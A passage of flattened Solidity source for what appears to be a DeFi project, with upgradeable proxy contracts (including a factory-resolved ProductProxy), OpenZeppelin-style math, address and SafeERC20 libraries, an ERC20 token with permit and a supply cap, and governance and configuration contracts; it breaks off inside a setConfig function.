* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _admin, address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
interface IProxyFactory {
function productImplementation() external view returns (address);
function productImplementations(bytes32 name) external view returns (address);
}
/**
* @title ProductProxy
* @dev This contract implements a proxy that
* it is deploied by ProxyFactory,
* and it's implementation is stored in factory.
*/
contract ProductProxy is Proxy {
/**
* @dev Storage slot with the address of the ProxyFactory.
* This is the keccak-256 hash of "eip1967.proxy.factory" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant FACTORY_SLOT = 0x7a45a402e4cb6e08ebc196f20f66d5d30e67285a2a8aa80503fa409e727a4af1;
bytes32 internal constant NAME_SLOT = 0x4cd9b827ca535ceb0880425d70eff88561ecdf04dc32fcf7ff3b15c587f8a870; // bytes32(uint256(keccak256('eip1967.proxy.name')) - 1)
function _name() virtual internal view returns (bytes32 name_) {
bytes32 slot = NAME_SLOT;
assembly { name_ := sload(slot) }
}
function _setName(bytes32 name_) internal {
bytes32 slot = NAME_SLOT;
assembly { sstore(slot, name_) }
}
/**
* @dev Sets the factory address of the ProductProxy.
* @param newFactory Address of the new factory.
*/
function _setFactory(address newFactory) internal {
require(OpenZeppelinUpgradesAddress.isContract(newFactory), "Cannot set a factory to a non-contract address");
bytes32 slot = FACTORY_SLOT;
assembly {
sstore(slot, newFactory)
}
}
/**
* @dev Returns the factory.
* @return factory_ Address of the factory.
*/
function _factory() internal view returns (address factory_) {
bytes32 slot = FACTORY_SLOT;
assembly {
factory_ := sload(slot)
}
}
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() virtual override internal view returns (address) {
address factory_ = _factory();
if(OpenZeppelinUpgradesAddress.isContract(factory_))
return IProxyFactory(factory_).productImplementations(_name());
else
return address(0);
}
}
/**
* @title InitializableProductProxy
* @dev Extends ProductProxy with an initializer for initializing
* factory and init data.
*/
contract InitializableProductProxy is ProductProxy {
/**
* @dev Contract initializer.
* @param factory_ Address of the initial factory.
* @param data_ Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function __InitializableProductProxy_init(address factory_, bytes32 name_, bytes memory data_) public payable {
require(_factory() == address(0));
assert(FACTORY_SLOT == bytes32(uint256(keccak256('eip1967.proxy.factory')) - 1));
assert(NAME_SLOT == bytes32(uint256(keccak256('eip1967.proxy.name')) - 1));
_setFactory(factory_);
_setName(name_);
if(data_.length > 0) {
(bool success,) = _implementation().delegatecall(data_);
require(success);
}
}
}
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function max_(int256 a, int256 b) internal pure returns (int256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function min_(int256 a, int256 b) internal pure returns (int256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function abs(int a) internal pure returns (uint) {
return a >= 0 ? uint(a) : uint(-a);
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, int256 b) internal pure returns (uint256 c) {
c = a + uint256(b);
require(b >= 0 && c >= a || b < 0 && c < a, "SafeMath: addition overflow");
}
function add_(int256 a, uint256 b) internal pure returns (int256 c) {
c = a + int256(b);
require(c >= a, "SafeMath: addition overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, int256 b) internal pure returns (uint256 c) {
c = a - uint256(b);
require(b >= 0 && c <= a || b < 0 && c > a, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function sub0(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a - b : 0;
}
function sub_(uint256 a, uint256 b) internal pure returns (int256 c) {
c = int256(a - b);
require(a >= b && c >= 0 || a < b && c < 0, "SafeMath: sub_ overflow");
}
function sub_(int256 a, int256 b) internal pure returns (int256 c) {
c = a - b;
require(a >= b && c >= 0 || a < b && c < 0, "SafeMath: sub_ overflow");
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
}
function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer {
_name = name;
_symbol = symbol;
_decimals = 18;
DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), _chainId(), address(this)));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
if(sender != _msgSender() && _allowances[sender][_msgSender()] != uint(-1))
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _chainId() internal pure returns (uint id) {
assembly { id := chainid() }
}
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public DOMAIN_SEPARATOR;
mapping (address => uint) public nonces;
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'permit EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'permit INVALID_SIGNATURE');
_approve(owner, spender, value);
}
uint256[42] private __gap;
}
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20CappedUpgradeSafe is Initializable, ERC20UpgradeSafe {
uint256 private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
function __ERC20Capped_init(uint256 cap) internal initializer {
__Context_init_unchained();
__ERC20Capped_init_unchained(cap);
}
function __ERC20Capped_init_unchained(uint256 cap) internal initializer {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - minted tokens must not cause the total supply to go over the cap.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) { // When minting tokens
require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded");
}
}
uint256[49] private __gap;
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Governable is Initializable {
address public governor;
event GovernorshipTransferred(address indexed previousGovernor, address indexed newGovernor);
/**
* @dev Contract initializer.
* called once by the factory at time of deployment
*/
function __Governable_init_unchained(address governor_) virtual public initializer {
governor = governor_;
emit GovernorshipTransferred(address(0), governor);
}
modifier governance() {
require(msg.sender == governor);
_;
}
/**
* @dev Allows the current governor to relinquish control of the contract.
* @notice Renouncing to governorship will leave the contract without an governor.
* It will not be possible to call the functions with the `governance`
* modifier anymore.
*/
function renounceGovernorship() public governance {
emit GovernorshipTransferred(governor, address(0));
governor = address(0);
}
/**
* @dev Allows the current governor to transfer control of the contract to a newGovernor.
* @param newGovernor The address to transfer governorship to.
*/
function transferGovernorship(address newGovernor) public governance {
_transferGovernorship(newGovernor);
}
/**
* @dev Transfers control of the contract to a newGovernor.
* @param newGovernor The address to transfer governorship to.
*/
function _transferGovernorship(address newGovernor) internal {
require(newGovernor != address(0));
emit GovernorshipTransferred(governor, newGovernor);
governor = newGovernor;
}
}
contract Configurable is Governable {
mapping (bytes32 => uint) internal config;
function getConfig(bytes32 key) public view returns (uint) {
return config[key];
}
function getConfigI(bytes32 key, uint index) public view returns (uint) {
return config[bytes32(uint(key) ^ index)];
}
function getConfigA(bytes32 key, address addr) public view returns (uint) {
return config[bytes32(uint(key) ^ uint(addr))];
}
function _setConfig(bytes32 key, uint value) internal {
if(config[key] != value)
config[key] = value;
}
function _setConfig(bytes32 key, uint index, uint value) internal {
_setConfig(bytes32(uint(key) ^ index), value);
}
function _setConfig(bytes32 key, address addr, uint value) internal {
_setConfig(bytes32(uint(key) ^ uint(addr)), value);
}
function setConfig(bytes32 key, uint value) external governance {
